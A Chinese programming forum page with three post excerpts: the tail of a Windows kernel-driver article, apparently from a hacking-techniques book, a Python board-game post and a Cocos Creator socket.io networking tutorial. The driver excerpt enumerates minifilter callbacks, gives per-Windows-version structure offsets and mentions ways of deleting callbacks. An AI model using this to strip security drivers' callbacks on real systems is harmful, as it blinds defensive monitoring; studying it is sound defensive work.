pFltOperationRegistration->PostOperation); } // 获取下一个消息回调信息 pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((PUCHAR)pFltOperationRegistration + sizeof(FLT_OPERATION_REGISTRATION)); } } __except (EXCEPTION_EXECUTE_HANDLER) { DbgPrint("[EXCEPTION_EXECUTE_HANDLER]\n"); } return STATUS_SUCCESS;}
    获取 Operations 偏移// 获取 Operations 偏移LONG GetOperationsOffset(){ RTL_OSVERSIONINFOW osInfo = { 0 }; LONG lOperationsOffset = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // 0x188 lOperationsOffset = 0x188;#else // 32 位 // 0xCC lOperationsOffset = 0xCC;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // 0x198 lOperationsOffset = 0x198;#else // 32 位 // 0xD4 lOperationsOffset = 0xD4;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // 0x1A8 lOperationsOffset = 0x1A8;#else // 32 位 // 0xE4 lOperationsOffset = 0xE4;#endif } return lOperationsOffset;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结我们可以调用 FltEnumerateFilters 来获取系统上所有 Minifilter 驱动程序的过滤器对象,并从中 PFLT_FILTER 经过一定的偏移获取 Operations 成员数据,里面存储着回调信息。其中,不同统统的 FLT_FILTER 定义都不同,所以,Operations 成员的偏移也不相同。大家也不用记忆这些偏移大小,如果需要用到,可以随时使用 WinDbg 来进行逆向查看就好。
    删除回调常用就有 2 种方式,自己根据需要选择一种使用即可。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2019-05-20 15:55:41 奖励16点积分
  • python制作海底飞行棋(含源码)

    飞行棋玩过吗?玩过python制作的海底飞行棋玩过吗?额。。。。。。
    今天就来教制作海底飞行棋
    核心玩法两名玩家通过→和←操控游戏角色,最终全部到达终点,(本游戏适合全年龄段,不要太较真)谁的分数越高谁就获胜
    主要代码思想实现游戏角色移动,分数,分数判断
    在游戏中,设立三个游戏状态

    start 开始running 运行game——over 游戏结束
    三个状态都很重要,对于制作游戏有很大帮助
    要依次根据玩家操作变换
    其次就是鼠标和键盘的按下事件
    没有这一步,游戏就变成了动画片,不能控制,就看着它运行
    而且这一步很容易报错,因为代码量多
    最后就是完成所有的调用
    一切完成后就OK了
    1 留言 2020-02-26 10:25:53 奖励46点积分
  • 【Cocos Creator 联机实战教程(1)】——初识Socket.io 精华

    1.Socket.io简介Socket.io是一个实时通信的跨平台的框架
    1.1 websocket 和 socket.io 之间的区别是什么socket.io封装了websocket,同时包含了其它的连接方式,比如Ajax。原因在于不是所有的浏览器都支持websocket,通过socket.io的封装,你不用关心里面用了什么连接方式。你在任何浏览器里都可以使用socket.io来建立异步的连接。socket.io包含了服务端和客户端的库,如果在浏览器中使用了socket.io的js,服务端也必须同样适用。如果你很清楚你需要的就是websocket,那可以直接使用websocket。
    2. 服务器端Windows安装Node.js Express Socket.io2.1 下载Node.js官网下载最新版http://nodejs.cn/
    2.2 打开cmd2.2.1 下载Express
    npm install -g express

    2.2.2 下载Socket.io
    npm install -g socket.io


    3. Creator与服务器通信测试3.1 测试场景
    3.2 客户端脚本我是挂载在Canvas上,也可以选择直接挂载在Label上。
    onLoad: function () { let self = this; if (cc.sys.isNative) { window.io = SocketIO.connect; } else { require('socket.io'); } var socket = io('IP:端口'); socket.on('hello', function (msg) { self.label.string = msg; }); },
    记得下载socket.io并导入为插件
    3.3 服务器脚本(任意位置存放)let app = require('express')();let server = require('http').Server(app);let io =require('socket.io')(server);server.listen(4747,function(){ console.log('listening on:端口');});io.on ('connection',function(socket){ console.log('someone connected'); socket.emit('hello','success');});
    在服务端脚本存放的位置打开cmd
    输入

    npm link express

    输入

    npm link socket.io

    输入

    node test-server.js

    4. 总结不同的环境配置网络连接不同,要善于抓包发现问题。
    不过也从侧面看出cocos creator不是很适合做联网游戏,调试是真的恶心。
    本教程部分素材来源于网络。
    附上监听小程序,测试网络。
    2 留言 2018-12-20 12:07:40 奖励35点积分
显示 30 到 45 ,共 15 条
eject